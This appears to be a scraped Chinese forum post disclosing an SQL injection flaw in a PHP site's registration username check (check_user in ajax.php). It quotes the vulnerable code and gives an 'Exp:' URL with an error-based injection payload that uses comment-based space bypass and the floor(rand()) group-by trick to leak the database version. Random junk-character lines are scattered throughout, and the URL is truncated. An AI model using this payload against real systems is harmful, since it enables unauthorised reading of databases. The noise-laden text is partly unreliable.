在注册的时候,输入用户名后台会验证用户名是否存在,当然是通过ajax去验证的也就是ajax.php。很多程序多会忽略这个导致存在SQL注入。/ h( Z9 W2 t) _0 q( }5 ~: A! i
; W/ L) q; N$ w& v9 Z& E
, K E+ @. J; P0 ~$ P: T6 ]) r
$ R; `- k3 D$ p+ ?0 j
* 验证会员数据 */ function check_user($field_name,$field_data) { //开始数据验证 $user_data[$field_name] = $field_data; $res = array('status'=>1,'info'=>'','data'=>''); //用于返回的数据 if(trim($user_data['user_name'])==''&&$field_name=='user_name') { $field_item['field_name'] = 'user_name'; $field_item['error'] = EMPTY_ERROR; $res['status'] = 0; $res['data'] = $field_item; return $res; } if($field_name=='user_name'&&$GLOBALS['db']->getOne("select count(*) from ".DB_PREFIX."user where user_name = '".trim($user_data['user_name'])."' and id <> ".intval($user_data['id']))>0)//这里的$user_data['user_name']的值就是用户名提交过来的值,这里只是过滤了空格。所有存在SQL注入漏洞。 { $field_item['field_name'] = 'user_name'; $field_item['error'] = EXIST_ERROR; $res['status'] = 0; $res['data'] = $field_item; return $res; }
6 K( [2 z! B$ }: F$ @+ s5 j$ p0 Y; D
3 }: `( O" ]) j1 `4 T( k/ D: I5 S" H9 s: u+ a
[" G& Y% R8 [( m+ S; z* x: vExp:, C0 T/ Y. r5 ]4 N& U# L: p$ l" X/ S
+ F3 D2 [. |# D+ _1 m $ N- r- ^* \1 W% G! i6 @
' D& u. }# ?7 G; H8 I! Q( y$ ]
http://192.168.9.109/easethink_f ... ame&field_data=**/(select/**/1/**/from/**/(select/**/count(*),concat(version(),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)%23 3 N, E* D5 H9 d% d/ E
8 v' ?4 g& p! l5 o( u/ q% Q
|